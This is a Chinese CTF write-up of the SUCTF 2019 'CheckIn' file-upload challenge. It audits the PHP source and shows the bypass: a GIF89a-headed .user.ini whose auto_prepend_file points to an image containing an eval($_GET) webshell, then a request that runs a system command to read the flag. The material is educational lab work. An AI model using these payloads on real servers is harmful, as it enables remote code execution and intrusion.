当前位置:网站首页>[SUCTF 2019]CheckIn
[SUCTF 2019]CheckIn
2022-08-09 16:43:00 【努力做大佬m0_68074153】
1.代码审计
进入页面,要我们上传文件,那么应该是让我们传一句话马。
发现题目有源码。查看源码,关键代码。
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
首先我们要上传了文件,然后对我们上传文件名进行了过滤,不能有ph/htaccess。随后对我们的文件内容进行了过滤,不能有<?,最后对我们的文件类型进行了检测,必须是image类型。
2…user.ini文件利用
这里我们不能上传后缀名与php有关的,所以我们需要服务器要对我们的jpg文件当作php来解析,所以首先我们想到的是htaccess配置文件利用,但是这里是nginx,而htaccess是对apache的配置。所以我们这里利用.user.ini文件进行修改配置,让服务器对我们上传的图片马进行解析。
1…user.ini
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中
上传.uer.ini文件
GIF89a
auto_prepend_file=1.jpg
在文件头加入GIF89a绕过对文件类型的检测。
上传图片马1.jpg
GIF89a
<script language='php'>eval($_GET['a']);</script>
访问同目录下的index.php得到flag
http://61d42b17-b88c-4674-9e1f-3f76be1d5736.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php?a=system(%27cat%20/flag%27);
边栏推荐
猜你喜欢
随机推荐
学长告诉我,大厂MySQL都是通过SSH连接的
手写flexible.js的原理实现,我终于明白移动端多端适配
最强分布式锁工具:Redisson
无需支付688苹果开发者账号,xcode13打包导出ipa,提供他人进行内测
电子产品硬件开发中存在的问题
论如何提升学习的能力
leetcode/链表中环的入口节点
Volatile:JVM 我警告你,我的人你别乱动
学长告诉我,大厂MySQL都是通过SSH连接的
JVM内存模型和结构详解(五大模型图解)
MASA Stack 第三期社区例会
MySQL索引的B+树到底有多高?
[ Kitex Source Code Interpretation ] Request to retry
Redis的那些事:一文入门Redis的基础操作
冷冻电镜聚类中心(2D Class)粒子图像的解析
【开源教程4】疯壳·开源编队无人机-OPENMV 脚本烧写
Smart Tool Management System
mysql generates random name, mobile number, date
重谈联想5G编码投票事件
【.NET 6】开发minimal api以及依赖注入的实现和代码演示